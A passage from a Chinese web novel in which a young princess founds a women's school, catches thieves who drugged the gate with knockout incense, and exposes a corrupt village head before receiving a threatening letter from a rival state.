团团拍了拍胸脯:“皇伯父让我做女子监的祭酒啦!我来给你们找师傅!”
“祭酒是什么啊?”
团团想了想,她也不懂:“就是头头啦!”
几个小姑娘一脸惊喜:“太好啦!”
“你们带我都看看好不好?缺什么东西,我给你们弄来。”
几个小姑娘陪着她,将整个女子监走了一遍。
再度回到大门附近时,一个大约三十多岁的妇人,提着一篮子菜走了过来。
看到团团,那妇人连忙行礼:“给郡主请安,我姓郭,奉王妃之名在此地照顾她们。”
团团甜甜地喊了一声:“郭嬷嬷好。”
“她们都喊我郭婶,郡主随便称呼就行。”
团团一听:“郭婶好!”
郭婶慌得直搓手:“郡主太客气了。不知今日郡主来是?”
团团道:“当然是来把这个女子监好好办起来啦!”
“郭婶,就你一个人在这里照顾她们这么多人吗?”
郭婶点点头:“是,其实她们什么都会,做饭洗衣自己都行。我就是陪着罢了。”
团团问道:“郭婶,这里现在缺什么吗?”
郭婶想了想:“要是郡主方便,我想弄条大狗来看门。”
“这里都是女子,有时夜里听到点儿动静,怪吓人的。要是有条大狗在,再有什么动静,我也不怕了。”
“夜里的动静?”团团皱起了眉头。
萧二猛地抬头,眼神锋利起来。
郭婶回道:“对啊,郡主,就这几日的事儿,经常夜里能听到些不同寻常的动静,也不知道是什么。”
团团眼珠一转:“大狗有啊,明日我就给你送来!”
第174章 一起抓坏蛋
当晚,团团回到王府,将女子监的现状叽叽喳喳地讲给了家里人听。
萧元珩正色道:“安全,是女子监第一件要解决的事,此乃重中之重。”
萧宁珣点了点头:“父亲说得不错,都是女子,一旦出点儿什么事,女子监的名声便保不住了。”
他想了想:“明日我便带着工部的工匠们过去,将院墙全部加高加固,再在院门口盖出几间房。“
“父亲,可从王府侍卫中抽调……十人,应该够了,待房屋建好,让他们住在院外的屋舍内。这样,既不损女子监的名声,又能让普通的小贼再不敢打女子监的主意。”
团团接口:“我要把大狼接出来放到女子监里!郭婶说,要条大狗看门用!这样我也可以日日见到它啦!”
萧元珩笑了:“好,明日我带你进宫,你去凤仪宫接大狼,我去面圣,请陛下亲赐墨宝,写下女子监三字,制成牌匾挂在门上。”
“看谁还敢打我闺女这女子监的主意!”
程如安眉头微蹙:“现在只有那几个女孩子倒也无妨,以后若是人多了,连师傅和学生们,团团若还像如今这般包吃包住包学,如此只出不入,日子久了,恐难维持。”
“关键是,说出去,怕是也没人会信。”
萧宁远想了想:“无妨,母亲不必多虑。”
“大可以这样,从入住第一日起,每人每日的吃住束脩,根据所学不同,定个定数出来。”
“待学成后,有了进项,再从中扣除,全部还清之后,再有所得便都是她们自己的。”
“前期这些,户部便先全担了,这些女子学有所成也可由户部统一安排她们的去处,不必她们自己去找事由,岂不两全其美?”
萧元珩点了点头:“好主意!明日你便写出具体条陈,上呈户部,陛下已下旨各部须倾力相助,想必户部很快便能批下这笔开销来。”
程如安仔细思索:“还有一件,纵然此事陛下支持,但县官不如现管,女子监所在的村子,定要打点好才行。”
“否则,事情办起来,枝枝叶叶的,若无他们相助,恐怕团团不会顺利。”
“你们先去忙你们说的那些,待一切到位,再去办这件事。到时村子里的女孩子们,便可当作第一批女学生入住,再免了她们的开销,也算是谢他们相帮之礼了。”
团团从锦凳上溜下来,走了一圈,挨个抱了抱她们,开心地咧嘴一笑:“爹爹,娘亲,大哥哥,三哥哥!你们真是太好啦!”
所有人都看着她,一脸宠溺的笑容。
程如安摸了摸她的小脑袋:“这是咱家团团要做的事嘛!”
次日一早,一家人便迅速行动起来。
午后,团团便带着大狼站在了女子监的院子里,萧二守在一旁。
大狼威风凛凛,体型壮硕,一身灰白色的**在阳光下泛着银光,像极了一头巨狼。
郭婶和女孩们吓得都躲了起来:“狼!狼啊!”
团团摸了摸大狼的大脑袋:“别怕!这是大狼!它不是狼,是狗!”
女孩们小心翼翼地走了过来,却都不敢靠得太近:“小姐,这是,狗?”
团团点了点头:“对啊!它脾气可好啦!不会咬人的,放心吧!你们看!”
说完,团团便抱住了大狼的脖子,使劲撸了撸它的后背。
大狼嗓子里咕噜了一声,挣了开来,低头看着团团,像极了看到自家孩子淘气却无可奈何的家长。
“大狼啊,这里住着的,都是好人哦!以后,你就在这个院子里,保护她们的安全。”
“若是有坏蛋来了,你就使劲咬!不用客气!我给你加鸡腿!”
大狼听懂了似的伸出大舌头舔了舔团团的小脸蛋。
团团咯咯咯地笑着,再度抱住了它的头。
见到她和大狼这般模样,女孩们放下了心,都靠了过来,有几个胆大的,忍不住伸手摸了摸大狼的**。
“这么大的狗,长得跟狼一模一样,太厉害啦!”女孩们高兴起来。
“有大狼在,以后郭婶夜里再听到什么,就不用担惊受怕啦!”
团团这才发觉,郭婶没在:“郭婶?郭婶呢?”
郭婶从远处的屋里探了个头出来:“不行,我害怕!这也太像狼了!”
团团和女孩们都笑了起来。
门外传来了嘈杂的人声,马车声,哟喝声:“就这儿!赶紧的!把车卸了!
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五日之内,必须完工!”
团团往外一看,是萧宁珣带着工部的工匠们到了。
她放开大狼,跑了过去:“三哥哥!”
“诶!小团团!霍!这么大的狗!这就是你说的大狼吗?”
萧宁珣将她抱了起来,走到大狼身旁:“可以,有这狗在这儿看门,估计没有哪个想不开的贼会进来找**。”
团团看着大狼:“三哥哥,你要给大狼盖一个舒服的狗窝哦!它以前在皇后娘娘那里,就有自己的狗窝住的。”
“没问题!三哥哥一定给它盖一个最好的狗窝住!”
团团搂着他的脖子蹭了蹭:“谢谢三哥哥!”
有外男来了,女孩们都纷纷躲进了靠里面的屋里。
郭婶远远地走出屋:“三少爷好。”
萧宁珣抬眼看了看郭婶,又低头看了看大狼,明白了,不由得一笑:“不必怕,以后熟了就好了。”
“郭婶,这五日他们要修缮房屋,加高院墙,你安排一下这里的人,没事儿就不要出来了。”
“是,三少爷。”
萧宁珣抱着团团在院子里走了一圈,郭婶跟在他们身后:“这里是做饭的地方,现在人少,尚可应付,若以后人多了,恐是不够用。”
“无妨,那便盖个灶房出来。”
萧二一直记挂着她昨日的话:“郭婶,你说这几日夜里一直有动静,昨晚还有吗?”
郭婶连忙回道:“有的!听着悉悉索索的,也不知道是人还是什么野兽。”
萧二摇了摇头:“此地不会有大型野兽,应该就是贼人。”
郭婶心有余悸:“前几日听着还不真切,昨晚听着像是就在门外。我将茶壶扔到门上,声音特别大,才给吓退了。”
萧二当机立断:“三少爷,末将今晚守在门内,定要擒住他们,省得他们觉得这里都是女子,成天惦记。”
团团一听:“我也要住这里!跟二叔叔一起抓坏蛋!”
萧宁珣看了妹妹一眼,知道她一听抓坏蛋,便绝对不肯走。
他想了想:“那这样,今晚咱们都住这里,守株待兔,看看这倒霉的兔子,会不会撞上来!”
团团拍着小手:“太好啦!”
第175章 财主大老爷欺负穷人了啊
当晚,夜深人静。
郭婶和其他人早已在最里面的屋内安心睡下了。
萧二守在大门内侧。
最靠外的屋子里,团团搂着大狼,都快睡着了。
突然,大狼躁动起来,团团猛地睁开眼睛,摩挲着大狼:“别出声哦,你一出声,坏蛋就跑啦!”
大狼看了她一眼,紧闭着大嘴,一声不吭。
萧宁珣被大狼的动静惊到,站起身,从窗缝中向外张望。
只见一股白烟从门缝中向院内飘来,紧接着一股甜腻的异香从丝丝缕缕地渗了进来。
门内的萧二眉头一皱,运起内息闭住了呼吸,转头看向萧宁珣,做了个捂脸的手势。
萧宁珣急忙伸手轻轻捂住了团团的口鼻,俯身低语:“屏住呼吸。”
团团赶紧憋住了口鼻,抬起小手捂在了大狼的鼻头上。
片刻之后,一把**熟练地**门缝,几下便拨开了门栓。
门外传来男子的声音:“成了!这‘神仙倒’可是好东西,里头的人这会儿肯定睡死过去了!”
“动作都麻利点!先把值钱的都装上,然后再去找那几个小娘儿们!”
三条鬼鬼祟祟的黑影推开院门悄悄走了进来,最后进来的还细心地将门关上了。
他们刚一抬头,便直接僵住了。
月光下,一头壮如牛犊的灰色巨犬站在院中,一双绿油油的眼睛死死盯着他,喉咙里发出阵阵低吼。
几人愣了一瞬,大喊一声:“狼啊!”
掉头想跑,迎头见到的却是萧二高大的身躯,将大门挡得严严实实。
几人惊慌失措,一个满脸麻子的男子大喊一声:“就一个人!上!”三人一起扑向萧二,想闯出去。
萧宁珣抱着团团从屋里出来。
“敢打我二叔叔?大狼!咬他们!”团团一声令下,大狼箭一般地窜了上去。
庞大的身躯瞬间便撞飞了一人。
“哎哟!”
紧接着巨大的爪子便将另一人按倒在地。
最后一个见大门被堵,转身向院内跑去,大狼两步便追了上去,一口咬在了他的腿上。
惨叫声顿时响了起来。
萧二快步上前,用准备好的绳索,将三个贼人捆得结结实实。
大狼昂首挺胸围着他们一圈一圈地走,吓得几人紧紧靠在一起,瑟缩成一团。
团团搂着萧宁珣的脖子,小脸上满是兴奋:“三哥哥,咱们抓到坏蛋啦!”
萧二挨个给了一脚:“叫什么?哪里人?快说!”
几个人互相看了一眼,都不开口。
萧宁珣脸一沉:“送他们去见官!”
那个满脸麻子的人急了:“我们就是这罗家村的人!不过是夜里起猛了,走错了门,你凭什么送我们去见官!”
团团气乐了:“撒谎!你自己的家都能走错吗?”
麻子脸一看就是个无赖:“怎么了?我记性不好,你管得着吗?”
萧二扯开他的衣襟,一包东西掉了出来。
他捡起来轻轻一闻:“你进家门之前,还用迷香吗?还不老实!”说完又踢了一脚。
麻子脸吃痛,耍起赖来:“那根本就不是我的东西!是你们栽赃陷害!”
另外两个看似是以他为首,闻言也开始喊起来:“对啊!就是你们陷害我们!”
“没错!我们就是走错了门!什么都没做!你们冤枉好人!“
团团从未见过如此无耻之人,被他们的话说得瞪大了眼睛:“三哥哥!你看他们啊!”
萧宁珣搂了搂妹妹:“萧二,把他们分别关押,先关上一夜,明日再问。”
低头看了看那个被大狼咬伤的人:“别叫他**。”
“是!”
次日一早,团团揉着惺忪的睡眼,跟着萧宁珣一起走出了房门。
几人吃过了早饭,萧二对郭婶道:“那边几个屋子里关了三个昨晚抓到的贼人,郭婶,你在这里的时候久,劳你过去看看,有没有认识的。”
“好。”
片刻后,她回来了:“那个满脸麻子的,是这个罗家村村长的儿子罗麦囤,其他两个经常跟他在一起,看着脸熟,叫不出名字。”
“这三个祸害,成天不干正事,偷鸡摸狗,招人嫌得很!”
村长的儿子?
萧宁珣想起母亲的话,县官不如现管,村长职务
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虽不大,权力却不小,若这女子监想在此地太太平平地开下去,若无村长的支持那可不行。
此时,工部的匠人们已经都到了,正打算继续盖房子。
萧宁珣喊了一声:“来两个人,跟我走一趟去。”
“是。”
萧宁辰领着妹妹,萧二和两个工匠,用一根长绳,捆着那三人的手腕,走进了罗家村。
村民们看到,顿时三三两两地聚了上来。
萧二冲大家抱拳:“各位乡亲父老,烦你们给指个路,村长家在哪儿?”
一个大婶抬手一指:“顺着这条路一直往下走,最大的那个门就是。”
“多谢!”
村民们越聚越多,都跟在后面指指点点
“哟,这不是王癞子吗?”
“呸!报应!这是遇到硬茬子了?让人给收拾了吧!”
“活该!让他整天偷我家鸡!”
“罗家这臭小子,前天还摸了我闺女的手,要不是怕他爹,我就跟他拼了!”
“早该有人治治他们了!”
村子并不大,很快便来到了村长的家门口。
没等萧二叫门,门就从里面被猛地拉开了。
一个看着三十岁左右的妇人,揣着个簸箕正打算出来,抬眼看见一大堆人站在门口,愣了一下。
“娘!娘快救我啊!他们欺负儿子!”罗麦囤看见她便大喊了起来。
妇人循着声音看到了他,马上发出了一声刺耳的尖叫:“我的儿啊——!”
吓了团团一大跳。
妇人手里的簸箕“哐当”掉在地上,里面的豆子撒了一地。
她不管不顾,一屁股坐下,双手用力拍打着地面,嚎啕大哭起来:
“没天理了啊!把我儿子打成这样,还要绑着游街!这是不给我们活路了啊——”
她边嚎边用眼角余光打量着萧宁珣他们,这应该就是当家的说的那个,要在村里开什么女学堂的那些人了。
里长还把村里那片地都给他们用了,那房子我还惦记着呢!正好,把事儿闹大了,让他们滚出村去!
她大声哭嚎:“财主大老爷欺负穷人了啊!这什么世道啊!”
第176章 黑的说成白的
一个约莫四十上下的干瘦男子披着外衣,趿拉着鞋走了出来。
围观的村民们有人喊了一声:“村长!”
罗村长眯着眼扫了下门外黑压压看热闹的村民,眉头立刻皱成了疙瘩。
他目光收回,落到了被捆着的儿子和坐在地上嚎哭的媳妇身上。
随即抬头看了一眼团团一行人,他瞬间换了个笑脸,拱了拱手道:“几位贵人,这一大早的,兴师动众的堵着我家大门,唱的是哪一出啊?”
“可是我这不成器的儿子,有什么地方不小心冲撞了几位?”
萧二上前一步,没半分客气:“罗村长,你儿子,昨夜伙同这两人,携带迷香翻墙入户,窥伺妇女,意图不轨。”
“如今人赃并获,你身为村长,可知该当何罪?”
罗村长脸上的笑容顿时僵住了,他眼珠一转,恶狠狠地瞪向自己儿子:“你这个小兔崽子!还不赶紧说!是不是人家说的这么回事儿?”
罗麦囤被他爹这一眼瞪得浑身一哆嗦,立刻明白了他话里的意思,扯着脖子尖叫起来:“爹!他们冤枉我!什么迷香?我根本不知道!我就是起夜走错了路!”
“他们就对我用私刑!爹!你要给儿子做主啊!你看,他们还养了一条狼!把赵六的腿都咬伤了!”
那坐在地上的泼妇一听,拍着大腿哭嚎得更加起劲:“听见没有!听见没有!我儿子什么都没做!”
她抬手指向萧二:“这些人!就不分青红皂白地把我儿子往死里打,还要栽赃!还有没有王法了!难道就因为你们有钱,便能冤枉我们平头百姓吗?”
母子俩一唱一和,场面立时混乱起来。
围观的村民中响起了一阵低低的议论声。
“又来了!”
“每次都是这招,胡搅蛮缠!”
“黑的都能说成白的,有理都跟他们说不清!”
听到儿子的话,罗村长的腰杆硬了几分,对着萧宁珣,两手一摊,一脸无奈:“几位贵人,您也听到了。”
“小儿虽说顽劣,但您说的这些,什么使用迷香,擅闯民宅的事情,还是万万不敢的。”
“怕是有什么误会吧?也说不准,是有人瞧我家不顺眼,故意陷害?”
萧宁珣的眉头紧紧皱了起来。
团团没见过这样的场面,明明三哥哥是对的,怎么就说不清楚了呢,她气得鼓鼓地瞪了一眼罗村长,又看了看仍在地上撒泼的泼妇。
这一家子坏蛋,平时坏事肯定也没少干!
一双大眼睛开始在院子里扫来扫去。
突然,她松开了萧宁珣的手,走到萧二身边,指了下院子里堆放的柴火堆:“二叔叔,把这个掀开。”
萧二大步上前,抬手向柴火堆伸去。
坐在地上的泼妇脸色一变,猛地从地上跳起来冲着萧二扑了过去:“不许动我家东西!”
萧二看都没看她一眼,手臂一横,那泼妇如同撞上了一堵墙,“哎哟”一声被格开了,踉跄着**好几步。
萧二三两下便扒开了那堆干柴,一个花布包裹露了出来。
萧二将它拿起,当众解开,里面是一把崭新的铁斧。
“我的斧头!”
一个黑壮汉子猛地挤出人群,眼睛瞪得老大,指着斧头激动地大喊:“这是我前儿个才在镇上铁匠铺打的新斧头!”
“昨晚收工后明明放在院里的,一转眼就不见了!怎么会在你家柴火堆底下?”
罗麦囤梗着脖子跟他对喊:“你少满嘴里胡吣!那是我在村口捡的!怎么就是你家的了?上面刻你名了?”
泼妇一听,急忙帮腔:“对!这明明是我儿子捡的!谁知道是谁的?谁捡到就是谁的!”
黑壮汉子指着这对母子,气得说不说话来。
团团看向屋内:“二叔叔,里面那间,枕头底下!”
萧二毫不犹豫,转身就朝屋里走去。
“站住!你们要干什么!还有没有王法了!你们这是私闯民宅!”罗村长慌了,张开双臂就想阻拦。
萧二懒得搭理他,伸手一拉便将他拖到身后,直接闯入屋内。
泼妇发出杀猪般的嚎叫,想冲进去厮打,被随行而来的两名工部的工匠拦在了门外。
片刻,萧二去而复返,对着村民,摊开了手掌。
赫然是一对做工精细、成色极好的梅花缠枝银镯子!
“啊!这是我娘的啊!”
人群中,一个身穿白色孝服的妇人发出一声撕心裂肺的哀嚎,她疯了一样冲出来,指着那对镯子,眼泪瞬间落下:
“这是我娘的嫁妆!前些天下葬前不见了,原来是被你们偷去了!”
“天杀的!连**的东西都不放过吗?”
村民们长久以来积压的怒火被这两件事彻底
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点燃。
“畜生!简直是畜生!”
“干这种**的缺德事!”
罗麦囤脸上终于露出了些许惧色,却仍旧嘴硬:“你看见是我拿的了?指不定是你家里人谁自己手脚不干净,偷摸塞到我家来陷害我的!”
泼妇立即冲着村民们大喊:“对!你们凭啥赖我儿子?这镯子肯定是谁偷偷塞进我家的!”
罗村长的脸色难看了起来。
团团的小手再次抬起,指向屋内门口处的米缸。
“二叔叔!把米倒出来!”
罗村长浑身一抖,脸色大变,疯了一样扑向米缸:“不许动!那是我家的米!你们要干什么?光天化日,**吗?”
萧二抓着他的衣领将他拎了起来,往院子里一丢。
另一只大手如同铁钳,单手便将那沉重的米缸提到院子里,直接倒扣过来!
“哗——”
白花花的米粒倾泻而下,铺了一地。
一个油布包,“啪”的一声掉落在米堆上。
萧二俯身捡起,扯开油布,是一本册子。
他转身递给了萧宁珣。
萧宁珣翻开册页,目光快速扫过。
周围鸦雀无声。
村长的米缸里居然藏着东西!
村民们都瞪大了眼睛看着他。
萧宁珣朗声念了出来:
“罗大牛,永业田八亩,记为六亩。”
“赵寡妇,分田三亩,记为两亩。”
“祭田二十亩,去岁产出折银一百二十两,记为六十两。”
他每念一句,村民中便有一人脸色剧变。
一个高大的汉子怒吼:“丧了良心的!我家的地就这么让你们给黑了!”
一个妇人一声哭嚎:“怪不得!怪不得我去衙门交粮总对不上数!当家的**你们就这么欺负我们孤儿寡母啊!”
当“祭田”和那凭空消失的六十两银子被念出来时,所有人的怒火终于冲破了胸膛。
“罗老歪!你喝我们的血!吃我们的肉!”
“怪不得他家天天吃香喝辣,原来是贪了咱们祭田的钱!”
“请里长!快去请里长来!”
“这个村长我们不要了!打死他们!”
“对!打死他们!”
罗村长面如死灰地坐在地上,泼妇和罗麦囤缩起了身子。
村民们爬墙的爬墙,抄家伙的抄家伙,往院子里涌了进来。
第177章 这就去请过来
眼看愤怒的村民们就要冲上来泄愤,萧二上前一步,声如洪钟:“住手!”
这一声断喝有如晴空霹雳,瞬间震住了骚动的人群。
萧宁珣高声道:“父老乡亲们!请听我一言!罗村长所犯之罪,自有朝廷律法裁决。”
“诸位若因一时激愤而动了私刑,自身也要惹上牢狱之灾,请细想想,为这等渣滓赔上自身,可否值当。”
两名工部的匠人也大声喊道:“请大家莫要冲动!”
混乱的场面渐渐安静下来。
瘫坐在地上的泼妇猛地抬起头,一双赤红的眼睛死死盯住了团团,满眼都是疯狂的怨毒。
“她不是人!她是妖精!”
她大声嘶喊:“她从来没来过我家!怎么会知道东西都在哪儿?”
“柴堆底下!枕头里面!米缸里头!她全知道!她不是人!她是个害人的妖精!烧死她!烧死这个妖孽!”
罗村长被媳妇的话点醒,如同抓住了最后一根救命的稻草,也跟着大喊起来:“对!对!就是她搞的鬼!”
“她是妖精!那些东西以前根本就不在我家!都是她变出来陷害我的!”
村民们愣住了,不少人脸上浮现出惊疑不定的神色。
是啊!这小姑娘,从来都没来过村里,怎会对村长家知道得这么清楚?
难道,她当真是个妖精?
众人的眼神充满了困惑和恐惧,全都看向了团团。
团团一脸惊讶,萧二将她一把抱起,紧紧搂住。
萧宁珣走到萧二身前,满脸肃杀。
他冷笑一声:“愚昧!我妹妹,乃陛下所封的嘉佑郡主,是圣上钦封的烈国仙使,为苍生求雨,身负天命!”
他俯视着罗村长和泼妇,脸色阴沉:“就凭你们,也敢在此口出秽言,肆意污蔑她?”
“仙使!她就是那个求雨的仙使?”
“我的老天爷!原来是仙使来咱们村了!”
“难怪她什么都知道!仙使定是有神明指引啊!”
“罗老歪!你们黑了心肝烂了肠子!竟敢污蔑仙使是妖!也不怕天打雷劈!”
罗村长一家彻底低下了头,再也不敢出声。
一个年约四十的中年人分开人群,快步走了进来。
村民们纷纷喊了起来:“里长!里长来啦!”
里长看了看大家,又低头看了看所有的物证和面如死灰的罗村长一家,径直走到萧宁珣面前,躬身行礼:“这位贵人,在下是本村里长罗民盛。”
罗民盛曾中过秀才,在乡间颇有清誉。
“事情缘由,在下来时已有乡亲告知。”
“多谢贵人明察秋毫,为我罗家村除此等败类,还乡亲们一个朗朗乾坤。”
萧宁珣微微颔首:“里长不必多礼。既如此,依你之见,此事当如何处置?”
罗民盛长长叹了口气,语气恳切:“在下有个不情之请。此事还请诸位莫要报官。”
“一旦报官,必会传扬开来。”
“到时,外人只会当我罗家村风气败坏,皆是不法之徒。”
“姑娘们的名声还要不要了?哪个村子的好闺女还愿意嫁进来?罗家村这世世代代的脸面,便全毁了!”
村民们闻言,纷纷垂下了头。
罗民盛指着罗村长:“你德行有亏,不配为本村之长!”
“你们一家,立刻收拾东西,滚出我罗家村!从此不许再踏入一步!村中族谱,一概除名!”
他回头看向萧宁珣:“在新村长推举出来前,村中所有事务,由在下暂时代理。如此处置,不知贵人是否同意?”
萧宁珣点了点头,见好就收:“便依里长所言。望你秉公处事,莫负诸位父老乡亲所托。”
萧二将团团放在身后,解开了罗麦囤身上的绳索。
三人如蒙大赦,连滚带爬地冲回家中,胡乱收拾了个包裹,在村民们的唾骂声中,灰溜溜地离开了。
萧宁珣对着所有村民朗声道:“诸位乡亲,蒙陛下圣恩,将女子监设立在此,自当惠及乡里。”
他看向罗民盛:“劳烦里长统计一下,村中凡有愿意让家中女子**得一技之长者,不论年纪大小,婚配与否,皆可报上名来。”
“所有吃住、学艺费用,全部免除!待学成之后,由户部统一安排是由,所得皆归个人!”
村民们瞬间炸开了锅。<
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br>“真的?全免?还有这种好事?”
“这女子监好啊!”
“我家丫头要去!一定去!”
罗民盛惊喜非常:“贵人仁德!我罗民盛代全村乡亲,拜谢贵**恩!从今往后,女子监但有所需,我罗家村必定鼎力相助,绝无二话!”
萧宁珣点了点头:“多谢里长。多谢各位乡亲父老!”
几日之后,所有工程完工,女子监大变了模样。
院墙已经加固加高,门楣之上,高悬着一方鎏金的匾额,“女子监”三个大字,落款正是皇帝萧杰昀的御印。
前院的房屋扩建得格外敞亮,用于授课教学。
院子的一角,新建的灶房规模颇大,足以应对上百人的饭食。
穿过一道小门,后院则是一排排紧密排列的屋舍,专供住宿,安静又私密。
院子里阳光最充足的角落,是一个巨大的狗窝,也就比寻常屋舍稍小一点,里面铺着柔软的棉垫,大狼正慵懒地趴在自己家门口,眯着眼晒着太阳。
大门两侧,则是一排新建的房舍,王府的十个侍卫已经全部住了进去。
整个女子监虽不富丽堂皇,却处处干净、工整、实用。
“二叔叔,”团团拉着萧二的手走遍了每个角落,小脸上满是自豪,“好看吧?”
萧二点了点头:“嗯。如今这般,才当真有了学府的模样。”
他顿了顿:“小姐,这授艺的师傅,该从何处去请?是否要张贴告示,广招贤才?”
团团眼珠一转:“不用那么麻烦啦!咱们去找点心姨姨!她家的点心做得最好,师傅肯定也是顶好的,咱们这就去请过来!”
二人来到巧酥阁,谢云舒正在里面翻看账本。
团团兴高采烈地将女子监需要师傅的事情告诉了谢云舒:“点心姨姨,你这里的点心是京城最有名的,所以我来找你啦!”
“能不能请你这里的师傅去教教小姐姐们啊?”
谢云舒还未开口,站在一旁的一位年纪约莫四十上下的妇人摇了摇头道:“掌柜的,这可不行,巧酥阁的点心驰名京城,都是咱们自己精心研制的秘方,岂能外传?”
第178章 我想去
那妇人话音一落,团团脸上的笑容瞬间凝固,小脑袋耷拉了下来:“点心姨姨,那我走啦。”
“急什么!真是小孩子,听风就是雨的。”
谢云舒放下账本,安抚地摸了摸团团的头,随即看向身旁的妇人:“唐师傅的顾虑,我明白。不过,倒也无需如此紧张。”
“不教咱们巧酥阁的秘方,难道便不能教了不成?”
“大可以教她们些基本的功夫,和面、揉捏、火候掌控这些。正所谓师傅领进门,修行在自身。她们今后能走到哪一步,全看她们的造化。”
她想了想:“若这些女孩子里,当真有天分高、心性也好的,唐师傅,你也可收其为入门弟子。”
“直接带巧酥阁来,给你做个帮手,岂不是也给咱们店里添了人才?”
团团闻言,马上跑到唐师傅面前,拉住唐师傅的衣袖轻轻摇晃:“唐姨姨,您就去教教她们吧!”
“她们已经没有家了,若是再没有手艺,连饭都吃不上,好可怜的。”
她眼圈有些发红,突然又想起了什么:“不白教哦!我大哥哥说了,户部会出银子的!”
唐师傅看了看谢云舒,又看了看泫然欲泣的小团团,沉吟片刻,点了点头:“既然东家发了话,又是行善积德的好事,老婆子我便去试一试,看看有没有那块料。”
谢云舒微微一笑:“小郡主,你那女子监,除了这个,还教什么?”
团团想了想:“有个小姐姐想学医,神医爷爷已经答应了去教啦。还有个小姐姐想学打络子,这个我还不知道该去哪里找师傅。”
谢云舒笑着看她:“小郡主还不知道吧,我是云鹊商会的主事,这京城里的布料店,成衣店,首饰铺子,有一半都是云鹊商会的。”
“一事不烦二主,这样吧,就按照我方才所说的,这做衣服打络子,做首饰的师傅,我都给你安排好,如何?”
团团眼睛都亮了,一把抱住了谢云舒:“点心姨姨,你可太好啦!”
谢云舒搂着她:“小郡主,这正是你福缘深厚啊!若不是你两度出手相救,我谢家早已大难临头了。”
她回头吩咐伙计:“去玲珑阁,云锦秀坊,找两个老成的师傅,明日便同唐师傅一起过去看看,将授课一事安排妥当。”
“谢谢点心姨姨!”团团开心坏了,马不停蹄地回到了宁王府。
径直冲进了梨香苑,墨长庚正趴在地上仔细看着一株灵草。
团团扑到他的背上:“神医爷爷!”
墨长庚险些一头扎进土里:“哎呦!好徒儿,你干嘛呀?”
团团把他从地上拉起来:“我的女子监!建好啦!你答应过我的哦,要去教小姐姐们学医的!不许耍赖!”
“建好了?”墨长庚一脸惊讶,还真给她干成了?
团团使劲点头:“对啊!你明日就去,好不好?”
墨长庚欣然同意。
次日清晨,几辆马车,在**在门口的村民们的注视中,停在了女子监的大门前。
程如安牵着团团走在前面,墨长庚与唐师傅几人跟着鱼贯而入。
众人看到修缮一新的女子监,都不由得暗暗点头,不错!
村民们个个伸长了脖子,往里面张望,想看看女子监里面的模样。
程如安微笑道:“诸位乡亲也请进来吧。今日女子监正式开始授课,大家不妨一起做个见证。”
团团冲着他们招了招手:“快进来啊!”
村民们面露喜色,井然有序地走进了院子。
程如安领着团团,身后站着师傅们:“女子监从今日起,正式授课!请报名而来的各位安心学艺。”
她侧过身,首先引见了墨长庚:“这位,便是江湖上赫赫有名的回春手,神医墨长庚!日后将由他亲自教导有志于学医的女子。”
墨长庚微笑点头。
“回春手,墨神医?”人群中响起一片吸气的惊叹声。
程如安继续道:“这位是巧酥阁的点心大师,唐师傅。”
“天哪!巧酥阁!”
“那儿的点心卖得可贵了!我都没有尝过!”
程如安每报出一个名字,人群中的惊叹声便更大。
小姑娘们听得
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目瞪口呆,这是小姐给咱们请来的师傅?
都是京城里寻常人请根本请不动的行业泰斗啊!
她们个个激动得脸颊通红,围观的村民听完后更是炸开了锅。
“天爷啊!都是了不得的大人物!”
“仙使真是神通广大!”
“闺女!你可得好好学!听见没!这是祖坟冒青烟才修来的福气!”
“媳妇儿,你安心在这儿学,家里的事儿不用你操心!学成了,咱家都跟着沾光!”
看到所有的女孩们眼中燃起的希望与光彩,团团开心地手舞足蹈。
程如安亲自安排好每一个课室。
团团搂着大狼嘱咐:“乖哦!大狼,以后,你就守在这里帮我看好小姐姐们!别让坏蛋进来欺负了她们。”
大狼傲娇地抬了下脑袋,仿佛在说,那还不简单!
女子监开始上课了,程如安带着团团,回到了宁王府。
当晚,萧元珩没有像往常一样抱着团团玩,独自沉坐,若有所思。
团团很奇怪,走到他面前,抬起小手在他眼前晃了晃:“爹爹!你在想什么?都不理我。”
萧元珩将她轻轻抱起,放在膝上。
他犹豫了半晌:“团团,今日大夏那边传来消息。”
团团玩着爹爹的发梢,漫不经心地问:“他们又怎么了?”
萧元珩回道:“大夏到处散播,要在三个月后,在它们的国都天启城,举办神童显圣大典。”
程如安一听:“显圣?那个公孙止好了?”
团团哼了一声:“他肯定又偷了谁的气运了呗!都跟他说了,偷东西是要还的,就是不听!”
她搂着父亲的脖子:“爹爹在担心吗?”
萧元珩点了点头:“那个常嬷嬷曾说,神童不过是国师的弟子罢了,恐怕这事又是那个国师在背后搞什么鬼。“
“他想挽回神童的声誉,有情可原,但大可徐徐图之。如此急切还大肆宣扬,必有所图啊。”
团团想起了那封信,“想知道你的来历吗?”
她眼睛一亮:“爹爹!我想去大夏!”
第179章 国师的俗家姓名
萧元珩一怔,程如安脸色大变:“不行!路太远,太危险,团团,你绝对不能去!”
团团看着母亲:“娘亲,我去跟大三哥说,叫上他一起去,还有二叔叔呢,不会有事的。”
程如安摇头,坚决不同意。
萧元珩拍了拍女儿的小肩膀:“大夏的事与咱们何干?去睡吧。”
“好嘞!”团团从他的膝上滑下来,高高兴兴地走了。
程如安看着丈夫:“王爷,你想让团团去?”
萧元珩叹了口气:“安儿,我明白你在担心什么。但是有些事,躲是躲不过去的。”
“我甚至疑心,大夏此举,就是冲着团团来的。否则,何必如此兴师动众,四处散播?”
程如安仍旧摇头:“不行,元珩,此事绝对不行。”
萧元珩笑了笑:“那便不去吧,别担心了,他们要搞什么,由着他们去吧。”
程如安这才放下心来。
次日傍晚,一家人围坐桌旁,其乐融融。
团团正努力挥舞着小勺子,把碗里的一块水晶糕颤颤巍巍的舀到嘴边。
下人急匆匆走了进来,将一封信呈给萧元珩:“王爷!这封信,是方才有人用**钉在大门上的!我们追出去看时,人影都没见到。”
所有人的手一顿。
萧元珩接过信,展开一看,脸色瞬间沉了下去。
“王爷?”程如安轻声问道,“谁的信?出什么事了?”
萧元珩看了一眼团团,念了出来:
“嘉佑郡主:特邀你亲临我大夏天启城,参加神童的显圣大典。如若不来,我将在烈国边境诸城降下瘟疫,令其鸡犬不留。你既是烈国仙使,想必不会袖手旁观。”
哐当!程如安脸色煞白,手边汤碗碰落在地,摔得粉碎。
萧宁珣一拍桌面:“危言耸听!”
萧宁远眉头紧皱:“可有落款?”
萧元珩摇了摇头:“没有。但字迹与上次那封信相同,应当还是大夏国师亲笔。他针对的是团团,不可能留下落款,否则岂不便成了大夏的战书?”
程如安将团团抱到怀里,看着丈夫,默默摇头。
